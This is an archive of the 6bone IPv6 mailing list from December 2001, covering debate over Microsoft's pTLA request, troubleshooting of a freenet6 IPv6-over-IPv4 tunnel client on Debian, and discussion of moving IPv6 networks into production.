
Two /48s is quite a bit of address space, even though it is not a
pTLA. They could easily take a /64 out of that (or even a /80 -
Ethernet MAC addresses are 48 bits and 80+48=128) and designate that
to their customers, _if_they_want_to_.

Plus, if they decide to make their services (say, Passport) IPv6-only
when a great deal of the world does not speak IPv6, that will cause a
major uproar. I don't think they would be able to do that, actually.

As I have said, I am not a fan of Microsoft. But I don't see why them
getting a pTLA on 6Bone or not would help or stop them from developing
incompatible protocols. Those are two completely different issues.


Michael Kjörling


On Dec 18 2001 20:34 -0500, Michael Richardson wrote:

>   Imagine if Microsoft started assigning a /128 (or /120 for that matter) to
> each registered copy of XP.  (A single /64 of their address space would last
> a rather long time)
>
>   They then use this as the inner address of IPsec tunnels over which they
> provide services to their XP (XP 2.0, etc..) customers. You must use this
> in order to use, for instance, passport.
>
>   {Oh, and they permit you to populate the reverse map with your certificate
> to be properly authenticated. }

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)

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Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

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From 6bone-owner  Wed Dec 19 07:14:27 2001
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Date: Wed, 19 Dec 2001 07:15:04 -0800
To: Antonio Querubin <tony@lava.net>
From: Bob Fink <fink@es.net>
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
Cc: 6BONE List <6bone@ISI.EDU>
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Antonio,

At 07:31 PM 12/18/2001 -1000, Antonio Querubin wrote:
>On Tue, 18 Dec 2001, John Klos wrote:
>
> > This is not an issue to be dismissed because "they're being really nice".
> > This is a serious issue about asking a big giant who is sometimes mean to
> > make sure it understands the rules, and that they will not use 6bone to
> > develop technologies that are intended to hurt non-MS users.
>
>While I would agree that getting MicroSoft to adhere to 6Bone rules is a
>serious issue, I don't think it warrants putting them through a gauntlet
>significantly more stringent than the rest of us have already gone through
>to obtain our pTLAs.  They've agreed to the rules in the same manner that
>each of us did.  If the process isn't binding enough for MicroSoft then it
>certainly isn't binding enough for the rest of us either and the rules
>should be modified.  But I just don't see that as being necessary or
>desirable.

Your point is quite correct. Thanks for making it.


Bob


From 6bone-owner  Wed Dec 19 12:08:12 2001
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From 6bone-owner  Wed Dec 19 13:20:51 2001
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From: =?iso-8859-1?Q?Bj=F6rn?= Roggensack <elch@toppoint.de>
Subject: Ipv6 -> ipv4 tunneling
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Hi there,

We have an little problem with our Network here.
It is an little IPv4 network with some dial-in
connections (with fix ip)
And now we want to set up an ipv6 -> ipv4 tunnel
to the dial-in connections, that our members can
use ipv6 on there clients too.
Now my problem is that I don´t know how to build
an ipv6 -> ipv4 tunnel on my Debian 3.0.
Someone knows how to build it? Or has an idea how
to build??
So far

Björn
-- 
Ich wohn da wo andere Urlaub machen
Hier gibt es nur Flachland, aber deshalb einen weiten Horizont


From 6bone-owner  Wed Dec 19 13:22:14 2001
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To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002 
In-reply-to: Your message of "Wed, 19 Dec 2001 12:05:46 +0100."
             <Pine.LNX.4.43.0112191159380.1530-100000@varg.wolfpack> 
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>>>>> "Michael" == Michael Kjorling <michael@kjorling.com> writes:
    Michael> Just a comment out of curiosity - why wouldn't they be able to
    Michael> do that same thing with what they have now? Matter of fact is
    Michael> that they do have two /48s:

    Michael> (from the 6Bone whois) ipv6-site: MICROSOFT origin: AS8070
    Michael> descr: Microsoft IPv6 Site country: US prefix:
    Michael> 3FFE:2900:201::/48 prefix: 3FFE:C00:8036::/48

  Aren't these prefixes subject to recall?

    Michael> Plus, if they decide to make their services (say, Passport)
    Michael> IPv6-only when a great deal of the world does not speak IPv6,
    Michael> that will cause a major uproar. I don't think they would be able
    Michael> to do that, actually.

  Who said anything about making password IPv6 only? 
  You just might have to have an IPv6 address to use it.

    Michael> As I have said, I am not a fan of Microsoft. But I don't see why
    Michael> them getting a pTLA on 6Bone or not would help or stop them from
    Michael> developing incompatible protocols. Those are two completely
    Michael> different issues.

  I'm just throwing a strawman into the field.
  There are many things that having control over a number space permits.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Wed Dec 19 13:34:45 2001
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On Dec 19 2001 16:22 -0500, Michael Richardson wrote:

> >>>>> "Michael" == Michael Kjorling <michael@kjorling.com> writes:
>     Michael> (from the 6Bone whois) ipv6-site: MICROSOFT origin: AS8070
>     Michael> descr: Microsoft IPv6 Site country: US prefix:
>     Michael> 3FFE:2900:201::/48 prefix: 3FFE:C00:8036::/48
>
>   Aren't these prefixes subject to recall?

That is something I know nothing about, actually.


>     Michael> Plus, if they decide to make their services (say, Passport)
>     Michael> IPv6-only when a great deal of the world does not speak IPv6,
>     Michael> that will cause a major uproar. I don't think they would be able
>     Michael> to do that, actually.
>
>   Who said anything about making password IPv6 only?
>   You just might have to have an IPv6 address to use it.

Which, in the end, would amount to about the same thing.

My definition of "IPv6-only" would be that you have to have IPv6 to
use it.


>     Michael> As I have said, I am not a fan of Microsoft. But I don't see why
>     Michael> them getting a pTLA on 6Bone or not would help or stop them from
>     Michael> developing incompatible protocols. Those are two completely
>     Michael> different issues.
>
>   I'm just throwing a strawman into the field.
>   There are many things that having control over a number space permits.

I won't argue that particular point one way or another - I just
wonder, does it help or prevent them from developing protocols,
compatible or not? I seriously think it doesn't do much for that.
There _are_ site local prefixes available if they just want a large
number of addresses, and I am certain there is ways to toss packets
back and forth between sites as well.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)
-----BEGIN PGP SIGNATURE-----
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From 6bone-owner  Wed Dec 19 14:39:42 2001
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I will yield to no one in the faintness of my admiration of Microsoft,
but aren't we making a mountain out of a molehill?  To make Microsoft
a pTLA seems to me to guarantee that the world will begin to take notice
of IPv6, which sure isn't happening now.
-- George Mitchell (george+ipv6@m5p.com)


From 6bone-owner  Wed Dec 19 15:32:04 2001
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Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
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From: "Chris Engdahl" <cengdahl@microsoft.com>
To: "Bill Manning" <bmanning@ISI.EDU>, "Bob Fink" <fink@es.net>,
        <6bone@ISI.EDU>
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Hi Bill, Bob, and greets to the 6Bone community-

Thanks for this excellent opportunity to provide a bit more info on our
request.

We (Dennis, Matthew, and I, a.k.a. ipv6eng@microsoft.com) are part of
the ITG division, which is the internal technology service organization
for Microsoft Corporation.  

We are separate from MSN, from MS Research, and from all Windows
development units.  We count these other divisions as 'clients,' and we
service the entire MS corporate network as well as some non-production
Internet-based networks.

It is in this spirit that we're assuming the maintenance of the existing
6Bone presence from MS Research in Redmond (Seattle, WA, US).  We're
picking up this service on their behalf to allow our Research folks to
spend more time on actual research, and less on running networks.  

We hope to use this as a learning experience toward enabling IPv6 on
more of Microsoft's Internet services in the as-yet-undefined future
timeline, but enabling v6 on MSN, Hotmail, et al is not in MS ITG's
charter.

So, we are serving as an 'internal' service provider for IPv6 over our
Enterprise network, and we'll serve as an 'external' service provider to
the 6Bone for those groups who require it, and we will do our damndest
to do so for both within the guidelines set forth by the 6Bone
community.

If there are ever any questions about our involvement in the 6Bone, we
can be found at mailto:ipv6eng@microsoft.com.  One of us will respond
directly to anyone having questions or concerns about our routing
implementation, policies, or any traffic generated by any of our sites.
The garden-variety derogatory and/or pseudo-legal questions and comments
will happily be ignored, thank you.

If anyone is interested in Microsoft's involvement in the research,
development, or efforts toward providing a wider user base for IPv6 and
related technologies, check http://www.microsoft.com/ipv6 and
http://research.microsoft.com/msripv6/.

Thanks to all for the consideration of our request-
Chris Engdahl

-----Original Message-----
From: Bill Manning [mailto:bmanning@ISI.EDU] 
Sent: Tuesday, December 18, 2001 4:21 PM
To: 6bone@ISI.EDU
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002


	I would like to see some clarification on which "Microsoft" is
making the request.  Microsoft Research has been quite active in v6
development over the years and has even taken a pro-active stance in
recent weeks 
( 2003:: anyone? :) that would argue for caution.  However, it would be
highly desirable to see Microsoft (MSN, hotmail, et.al.) get connected
to the 6bone and then we could ask Microsoft research to work within the
corporate network administration for their IPv6 needs.  IMHO, this would
be ideal.

--bill


From 6bone-owner  Wed Dec 19 15:57:44 2001
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        "Bill Manning" <bmanning@ISI.EDU>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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Chris,

Thanks for the information.


Bob

===
At 03:32 PM 12/19/2001 -0800, Chris Engdahl wrote:
>Hi Bill, Bob, and greets to the 6Bone community-
>
>Thanks for this excellent opportunity to provide a bit more info on our
>request.
>
>We (Dennis, Matthew, and I, a.k.a. ipv6eng@microsoft.com) are part of
>the ITG division, which is the internal technology service organization
>for Microsoft Corporation.
>
>We are separate from MSN, from MS Research, and from all Windows
>development units.  We count these other divisions as 'clients,' and we
>service the entire MS corporate network as well as some non-production
>Internet-based networks.
>
>It is in this spirit that we're assuming the maintenance of the existing
>6Bone presence from MS Research in Redmond (Seattle, WA, US).  We're
>picking up this service on their behalf to allow our Research folks to
>spend more time on actual research, and less on running networks.
>
>We hope to use this as a learning experience toward enabling IPv6 on
>more of Microsoft's Internet services in the as-yet-undefined future
>timeline, but enabling v6 on MSN, Hotmail, et al is not in MS ITG's
>charter.
>
>So, we are serving as an 'internal' service provider for IPv6 over our
>Enterprise network, and we'll serve as an 'external' service provider to
>the 6Bone for those groups who require it, and we will do our damndest
>to do so for both within the guidelines set forth by the 6Bone
>community.
>
>If there are ever any questions about our involvement in the 6Bone, we
>can be found at mailto:ipv6eng@microsoft.com.  One of us will respond
>directly to anyone having questions or concerns about our routing
>implementation, policies, or any traffic generated by any of our sites.
>The garden-variety derogatory and/or pseudo-legal questions and comments
>will happily be ignored, thank you.
>
>If anyone is interested in Microsoft's involvement in the research,
>development, or efforts toward providing a wider user base for IPv6 and
>related technologies, check http://www.microsoft.com/ipv6 and
>http://research.microsoft.com/msripv6/.
>
>Thanks to all for the consideration of our request-
>Chris Engdahl
>
>-----Original Message-----
>From: Bill Manning [mailto:bmanning@ISI.EDU]
>Sent: Tuesday, December 18, 2001 4:21 PM
>To: 6bone@ISI.EDU
>Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
>
>
>         I would like to see some clarification on which "Microsoft" is
>making the request.  Microsoft Research has been quite active in v6
>development over the years and has even taken a pro-active stance in
>recent weeks
>( 2003:: anyone? :) that would argue for caution.  However, it would be
>highly desirable to see Microsoft (MSN, hotmail, et.al.) get connected
>to the 6bone and then we could ask Microsoft research to work within the
>corporate network administration for their IPv6 needs.  IMHO, this would
>be ideal.
>
>--bill


From 6bone-owner  Wed Dec 19 23:09:04 2001
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From: helios@balios.org
To: =?ISO-8859-1?B?Qmr2cm4gUm9nZ2Vuc2Fjaw==?= <elch@toppoint.de>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Ipv6 -> ipv4 tunneling
References: <5.1.0.14.1.20011219222304.029f3678@pop3.toppoint.de>
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Quoting Björn Roggensack <elch@toppoint.de>:

> Hi there,
> 
> We have an little problem with our Network here.
> It is an little IPv4 network with some dial-in
> connections (with fix ip)
> And now we want to set up an ipv6 -> ipv4 tunnel
> to the dial-in connections, that our members can
> use ipv6 on there clients too.
> Now my problem is that I don´t know how to build
> an ipv6 -> ipv4 tunnel on my Debian 3.0.
> Someone knows how to build it? Or has an idea how
> to build??
> So far


Hi !

lynx http://www.freenet6.net
apt-get install freenet6
vi /etc/tspc.conf
/etc/init.d/freenet6 start

Cheers,
-- 
Helios de Creisquer <Helios@Balios.org>



From 6bone-owner  Thu Dec 20 05:17:04 2001
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From: Svein Ove Aas <svein@crfh.dyndns.org>
Reply-To: svein.ove@aas.no
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: Ipv6 -> ipv4 tunneling
Date: Thu, 20 Dec 2001 14:17:41 +0100
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> Hi !
>
> lynx http://www.freenet6.net
> apt-get install freenet6
> vi /etc/tspc.conf
> /etc/init.d/freenet6 start
>
> Cheers,

Did that, actually... got the following output.

crfh:/home/svein# tspc -v
tspc - Tunnel Server Protocol Client

Loading configuration file

Connecting to server

Using [146.172.26.99] as source IPv4 address.
Send request

Process response from server

TSP_HOST_TYPE                    router
TSP_TUNNEL_INTERFACE             sit1
TSP_HOME_INTERFACE               eth0
TSP_CLIENT_ADDRESS_IPV4          146.172.26.99
TSP_CLIENT_ADDRESS_IPV6          3ffe:0b80:0002:33ea:0000:0000:0000:0002
TSP_SERVER_ADDRESS_IPV4          
TSP_SERVER_ADDRESS_IPV6          3ffe:0b80:0002:33ea:0000:0000:0000:0001
TSP_TUNNEL_PREFIXLEN             128
TSP_PREFIX                       3ffe:0b80:05af
TSP_PREFIXLEN                    48
TSP_VERBOSE                      1
TSP_HOME_DIR                     /usr/lib/freenet6
--- Start of configuration script. ---
Script:  linux.sh
sit1 setup
Setting up link to 
Command line is not complete. Try option "help"
Error while executing /sbin/ip
   Command: /sbin/ip tunnel add sit1 mode sit ttl 64 remote
Closing, exit status: 0
Exiting with return code : 0 (0 = no error)

----------------------------------------------------------------

Pretty obvious what the error is, but I didn't get a response when I tried to 
contact them... any ideas?


-- 
Beware those who would deny you information,
for in their hearts they dream themselves your master.

From 6bone-owner  Thu Dec 20 09:10:11 2001
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From: =?iso-8859-1?Q?Bj=F6rn?= Roggensack <elch@toppoint.de>
Subject: Re: Ipv6 -> ipv4 tunneling
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Hi again!

I thin you missunderstod me!
I don´t need an tunnel client! I need something like
an tunneld.

Bjoern
-- 
Ich wohn da wo andere Urlaub machen
Hier gibt es nur Flachland, aber deshalb einen weiten Horizont


From 6bone-owner  Thu Dec 20 10:20:20 2001
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Date: Thu, 20 Dec 2001 12:13:44 -0600 (CST)
From: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
To: fink@es.net
cc: 6bone@ISI.EDU
Subject: Gratefullnes....
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The IPv6 Staff UDG is grateful for have gotten the pNLA prefix.
We will keep working and investigating in this topic. 


Thanks for your attention Bob and 6bone folk.....
                                                    


 --------------------------------------
      Harold de Dios Tovar
 
  home: (01) 36 726016 
  work: (01) 31 342232  ext. 2321 
  e-m@il: harold@noc.udg.mx
          harold@mexp5.mexplaza.com.mx
  
  NOC: Network Operation Center 
  IPv6 Staff Working Group 
 -------------------------------------- 


From 6bone-owner  Thu Dec 20 11:47:35 2001
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Date: Thu, 20 Dec 2001 11:48:18 -0800
From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone@ISI.EDU
Subject: 6bone - experiment into production (no longer pTLA/MICROSOFT)
Message-ID: <20011220114818.B12627@snew.com>
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Quoting -------- <removed from a private mail>
...
> Things is, like I mentioned, we may just need the marketing they can 
> provide to help people understand that ipv6 is available, and should be 
> used ...
.... (other interesting, but not relevant stuff removed)

I don't expect Windows with 6 only in the next 5 years.  I do
expect that the BACK END of large systems can become 6-only.
E.g. All the routers and infrastructure hosts in large ISP's
(Worldcom, Sprint, AOL, etc) and the parts that are hidden
from desktop machines.  So might Hotmail or the .net mess start
being 6-only?  Sure, in the infrastructure.

As these clouds of 6 grow, where they join, they can drop ip4.
So where Sprint peers with Worldcom, it may become IPv6 with
gateways at the edges.

Part of this, of course, requires that the routers themselves
be able to gateway 6-4.  Those reams of dialups that Earthlink
uses will still run IPv4 only for a LONG time.  The next hop
has to start to be able to be that transition/translation
point.  We can hold out like that for the YEARS it will take
for end-user tools to be IPv6 aware.

At some point the "6bone" has to become ancillary as "real"
production 6networks appear.  Doesn't seem like much difference.
The addresses I use are production for all intents and purposes,
just like the 10.0.0.0 and other RFC1918 addresses that are
at clients' sites.  If my application needs were met, I could
certainly run the infrastructure on 6.  I can run 6 AND 4 right
now just fine on the desktops that are ready for it.

The experimental part seems to be the interconnectedness of
any networks running IPv6.

The folks on this list are into the bleeding edge.  I'd offer
that with *BSD, Solaris, Linux, AIX, Irix and others shipping
with IPv6 for the last couple years, *and* now with Cisco
shipping IPv6 support in the routers - important glue - that
the pieces are in falling into place to have production 6
networks.  (okay, apps like NFS, portmap and such are lagging,
but I expect many of those to be fixed in the next year -
perhaps 2 years for the closed-source OS's with only limited
resources).

The point is that we're at a turning point where 6 is available
for general use.  Some tools are certainly missing, but what?

What needs to occur to take the 6 network from a playground/test
network onward into real production?

Are there companies that are willing to show that it's ready
for the real world.  Is it ready for a place like Worldcom/UUNet
to start to use it's core at least?  Is it ready for Covad to
use from the DSL connection points out to their providers?

What's the time line like for that technically?  Politically?
Are seed projects panning out?

The more pressing points to me are where there are growth
explosions.  As PDAs and phones become connected, it's not
inconceivable that CellOne or AT&T might come forward with a
need for a several million addresses.  Is the equipment ready
to have them run a standard, or do they stick with proprietary
protocols with translating proxies?

I'd love to have some 6-net discussions at the next Usenix.
It's too late (and perhaps too sparse) for a track, but a
Works in progress or BOF, at the least, could be fruitful.


Discuss.

chuck

From 6bone-owner  Thu Dec 20 23:18:09 2001
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From: "yjchu" <yjchui@cht.com.tw>
To: <6bone@ISI.EDU>
Subject: about Toolnet6
Date: Fri, 21 Dec 2001 15:17:07 +0800
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Has anybody ever tried Hitachi toolnet6 freeware? I would like to know =
if the tool can be used as a NAT-PT gateway?=20
Thanks a lot

Yann-Ju Chu
ChungHwa Telecom. Co.

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<DIV><FONT face=3DMingLiu size=3D2>Has anybody ever tried Hitachi =
toolnet6 freeware?=20
I would like to know if the tool can be used as a NAT-PT gateway? =
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<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Thanks a lot</FONT></DIV>
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From 6bone-owner  Fri Dec 21 08:20:11 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Chuck Yerkes <chuck+6bone@snew.com>
cc: 6bone@ISI.EDU
Subject: Re: 6bone - experiment into production (no longer pTLA/MICROSOFT) 
In-reply-to: Your message of Thu, 20 Dec 2001 11:48:18 PST.
             <20011220114818.B12627@snew.com> 
Date: Fri, 21 Dec 2001 17:20:32 +0100
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 In your previous mail you wrote:

   (okay, apps like NFS, portmap and such are lagging,
   but I expect many of those to be fixed in the next year -

=> you are already a bit late, there were some SunRPC over IPv6
(with of course NFS & co) since two years.

   perhaps 2 years for the closed-source OS's with only limited
   resources).
   
=> so your estimation is highly pessimistic.

   Some tools are certainly missing, but what?

=> the real missing tool is network management (a special MIB
session at next IETF meeting (:-)?)
   
Regards

Francis.Dupont@enst-bretagne.fr

PS: send your desires of IPv6 discussion to the IPv6 Forum.

From 6bone-owner  Sat Dec 22 14:36:06 2001
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From: Helios de Creisquer <helios@balios.org>
To: svein.ove@aas.no
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Ipv6 -> ipv4 tunneling
Message-ID: <20011222224008.GA22770@balios.org>
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	6BONE List <6bone@ISI.EDU>
References: <5.1.0.14.1.20011219222304.029f3678@pop3.toppoint.de> <1008832164.3c218ea4cca97@webmail1.t2.tuxfamily.net> <200112201317.OAA28541@mail48.fg.online.no>
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On Thu, Dec 20, 2001 at 02:17:41PM +0100, Svein Ove Aas wrote:
> TSP_HOST_TYPE                    router
> TSP_TUNNEL_INTERFACE             sit1
> TSP_HOME_INTERFACE               eth0
> TSP_CLIENT_ADDRESS_IPV4          146.172.26.99
> TSP_CLIENT_ADDRESS_IPV6          3ffe:0b80:0002:33ea:0000:0000:0000:0002
> TSP_SERVER_ADDRESS_IPV4          
> TSP_SERVER_ADDRESS_IPV6          3ffe:0b80:0002:33ea:0000:0000:0000:0001
> TSP_TUNNEL_PREFIXLEN             128
> TSP_PREFIX                       3ffe:0b80:05af
> TSP_PREFIXLEN                    48
> TSP_VERBOSE                      1
> TSP_HOME_DIR                     /usr/lib/freenet6
> --- Start of configuration script. ---
> Script:  linux.sh
> sit1 setup
> Setting up link to 
> Command line is not complete. Try option "help"
> Error while executing /sbin/ip
>    Command: /sbin/ip tunnel add sit1 mode sit ttl 64 remote
> Closing, exit status: 0
> Exiting with return code : 0 (0 = no error)

yep...

You should downgrade to freenet6_0.9.3-2_i386.deb

the 0.9.5 package is broken.

it doesnt get the server ipv4 address and is therefore unable to
establish the tunnel.

Cheers,
-- 
               Helios de Creisquer      <helios@balios.org>
http://www.tuxfamily.org/                        <creis@tuxfamily.org>
http://www.vhffs.org/      +33 (0)6 70 71 20 29      <creis@vhffs.org>
http://www.gnu.org/                                    <creis@gnu.org>
GPG(1024D/96EB1C44): FB11 8B80 4D86 D9C2 DE0C 11D7 2FA8 A5CC 96EB 1C44

From 6bone-owner  Sat Dec 22 15:11:54 2001
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From: Helios de Creisquer <helios@balios.org>
To: 6BONE List <6bone@ISI.EDU>
Subject: [helios@balios.org: Re: Ipv6 -> ipv4 tunneling]
Message-ID: <20011222231601.GA22996@balios.org>
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Hello again !

I just written:
> yep...
>
> You should downgrade to freenet6_0.9.3-2_i386.deb
> the 0.9.5 package is broken.
> it doesnt get the server ipv4 address and is therefore unable to
> establish the tunnel.

Hum, I've mistaken... With two hosts with the same config but different
versions, one works, and the other not, but after upgrade, no
differences:

root@alter:~# grep '<server>' freenet6fetched
16177 read(5, "200 Undefined\r\n<tunnel action=\"info\" type=\"v6v4\"
lifetime=\"129600\">\n <server>\n  <address
type=\"ipv4\">206.123.31.114</address>\n  <address
>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
type=\"ipv6\">3ffe:0b80:0002:32e4:0000:0000:0000:0001</address>\n
</server>\n <client>\n  <address type=\"ipv4\">193.252.53.21</address>\n
<address
type=\"ipv6\">3ffe:0b80:0002:32e4:0000:0000:0000:0002</address>\n
<address type=\"dn\">baliosorg.tsps1.freenet6.net</address>\n
<router>\n   <prefix
length=\"48\">3ffe:0b80:02f1:0000:0000:0000:0000:0000</prefix>\n
</router>\n </client>\n</tunnel>\n", 516) = 516



root@camelot:~# grep '<server>' freenet6fetched 
3285  read(5, "200 Undefined\r\n<tunnel action=\"info\" type=\"v6v4\"
lifetime=\"129600\">\n <server>\n  <address type=\"ipv4\"></address>\n
>                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
<address
type=\"ipv6\">3ffe:0b80:0002:33e5:0000:0000:0000:0001</address>\n
</server>\n <client>\n  <address type=\"ipv4\">62.212.98.244</address>\n
<address
type=\"ipv6\">3ffe:0b80:0002:33e5:0000:0000:0000:0002</address>\n
<address type=\"dn\">vguideparis.tsps1.freenet6.net</address>\n
<router>\n   <prefix
length=\"48\">3ffe:0b80:05ad:0000:0000:0000:0000:0000</prefix>\n
</router>\n </client>\n</tunnel>\n", 504) = 504


First works well, the other one not !!!

the version is exactly the same, here are md5sums from binaries and
diffs from config files:

root@alter:~# md5sum `which tspc`
be326b0711123b96ccbd4bef9beda802  /usr/sbin/tspc

root@camelot:~# md5sum `which tspc`
be326b0711123b96ccbd4bef9beda802  /usr/sbin/tspc

root@alter:~# md5sum `locate linux.sh`
f40f92e207b087a06a5f670c398a1a4b  /usr/lib/freenet6/template/linux.sh

root@camelot:~# md5sum `locate linux.sh`
f40f92e207b087a06a5f670c398a1a4b  /usr/lib/freenet6/template/linux.sh

root@camelot:~# diff /etc/tspc.conf tspc.conf
11c11
< if_prefix=eth0
---
> if_prefix=eth1
13,14c13,14
< userid=[snip]
< passwd=[snip]
---
> userid=[snip]
> passwd=[snip]

It seems to me a little "Magic, more magic !!"

If someone's got an idea... I'm very very very interested :)

Cheers,
-- 
               Helios de Creisquer      <helios@balios.org>
http://www.tuxfamily.org/                        <creis@tuxfamily.org>
http://www.vhffs.org/      +33 (0)6 70 71 20 29      <creis@vhffs.org>
http://www.gnu.org/                                    <creis@gnu.org>
GPG(1024D/96EB1C44): FB11 8B80 4D86 D9C2 DE0C 11D7 2FA8 A5CC 96EB 1C44

From 6bone-owner  Sun Dec 23 13:20:58 2001
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To: "Bill Manning" <bmanning@ISI.EDU>, "Bob Fink" <fink@es.net>,
        <6bone@ISI.EDU>
Cc: "Matthew Lehman" <mlehman@microsoft.com>,
        "Dennis Fanshaw" <dennisf@microsoft.com>
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Hi Bill, Bob, and greets to the 6Bone community-

Thanks for this excellent opportunity to provide a bit more info on our
request.

We (Dennis, Matthew, and I, a.k.a. ipv6eng@microsoft.com) are part of
the ITG division, which is the internal technology service organization
for Microsoft Corporation.  

We are separate from MSN, from MS Research, and from all Windows
development units.  We count these other divisions as 'clients,' and we
service the entire MS corporate network as well as some non-production
Internet-based networks.

It is in this spirit that we're assuming the maintenance of the existing
6Bone presence from MS Research in Redmond (Seattle, WA, US).  We're
picking up this service on their behalf to allow our Research folks to
spend more time on actual research, and less on running networks.  

We hope to use this as a learning experience toward enabling IPv6 on
more of Microsoft's Internet services in the as-yet-undefined future
timeline, but enabling v6 on MSN, Hotmail, et al is not in MS ITG's
charter.

So, we are serving as an 'internal' service provider for IPv6 over our
Enterprise network, and we'll serve as an 'external' service provider to
the 6Bone for those groups who require it, and we will do our damndest
to do so for both within the guidelines set forth by the 6Bone
community.

If there are ever any questions about our involvement in the 6Bone, we
can be found at mailto:ipv6eng@microsoft.com.  One of us will respond
directly to anyone having questions or concerns about our routing
implementation, policies, or any traffic generated by any of our sites.
The garden-variety derogatory and/or pseudo-legal questions and comments
will happily be ignored, thank you.

If anyone is interested in Microsoft's involvement in the research,
development, or efforts toward providing a wider user base for IPv6 and
related technologies, check http://www.microsoft.com/ipv6 and
http://research.microsoft.com/msripv6/.

Thanks to all for the consideration of our request-
Chris Engdahl

-----Original Message-----
From: Bill Manning [mailto:bmanning@ISI.EDU] 
Sent: Tuesday, December 18, 2001 4:21 PM
To: 6bone@ISI.EDU
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002


	I would like to see some clarification on which "Microsoft" is
making the request.  Microsoft Research has been quite active in v6
development over the years and has even taken a pro-active stance in
recent weeks 
( 2003:: anyone? :) that would argue for caution.  However, it would be
highly desirable to see Microsoft (MSN, hotmail, et.al.) get connected
to the 6bone and then we could ask Microsoft research to work within the
corporate network administration for their IPv6 needs.  IMHO, this would
be ideal.

--bill


From 6bone-owner  Sun Dec 23 16:02:30 2001
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: OT:Mail loop?
Date: Sun, 23 Dec 2001 19:03:26 -0500
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Hello from Gregg C Levine normally with Jedi Knight Computers
I just received a message from the list server, that while welcome, was
dated for Wednesday. Last week. Is there anyone else who has received
just such a message? It was talking about the issues regarding
Microsoft, and its efforts to enter IPv6.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )





From 6bone-owner  Mon Dec 24 11:09:43 2001
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Date: Mon, 24 Dec 2001 14:12:59 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Helios de Creisquer <helios@balios.org>, 6BONE List <6bone@ISI.EDU>
Subject: Re: [helios@balios.org: Re: Ipv6 -> ipv4 tunneling]
Message-ID: <62150000.1009221179@classic>
In-Reply-To: <20011222231601.GA22996@balios.org>
References:  <20011222231601.GA22996@balios.org>
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it is probably more useful to discuss this in the freenet6 mailing lists:
 users@freenet6.net    (users of freenet6)
 tsp-support@freenet6.net (support of freenet6)

Marc.

-- dimanche, décembre 23, 2001 00:16:01 +0100 Helios de Creisquer 
<helios@balios.org> wrote/a écrit:

> Hello again !
>
> I just written:
>> yep...
>>
>> You should downgrade to freenet6_0.9.3-2_i386.deb
>> the 0.9.5 package is broken.
>> it doesnt get the server ipv4 address and is therefore unable to
>> establish the tunnel.
>
> Hum, I've mistaken... With two hosts with the same config but different
> versions, one works, and the other not, but after upgrade, no
> differences:
>
> root@alter:~# grep '<server>' freenet6fetched
> 16177 read(5, "200 Undefined\r\n<tunnel action=\"info\" type=\"v6v4\"
> lifetime=\"129600\">\n <server>\n  <address
> type=\"ipv4\">206.123.31.114</address>\n  <address
>> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> type=\"ipv6\">3ffe:0b80:0002:32e4:0000:0000:0000:0001</address>\n
> </server>\n <client>\n  <address type=\"ipv4\">193.252.53.21</address>\n
> <address
> type=\"ipv6\">3ffe:0b80:0002:32e4:0000:0000:0000:0002</address>\n
> <address type=\"dn\">baliosorg.tsps1.freenet6.net</address>\n
> <router>\n   <prefix
> length=\"48\">3ffe:0b80:02f1:0000:0000:0000:0000:0000</prefix>\n
> </router>\n </client>\n</tunnel>\n", 516) = 516
>
>
>
> root@camelot:~# grep '<server>' freenet6fetched
> 3285  read(5, "200 Undefined\r\n<tunnel action=\"info\" type=\"v6v4\"
> lifetime=\"129600\">\n <server>\n  <address type=\"ipv4\"></address>\n
>>                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> <address
> type=\"ipv6\">3ffe:0b80:0002:33e5:0000:0000:0000:0001</address>\n
> </server>\n <client>\n  <address type=\"ipv4\">62.212.98.244</address>\n
> <address
> type=\"ipv6\">3ffe:0b80:0002:33e5:0000:0000:0000:0002</address>\n
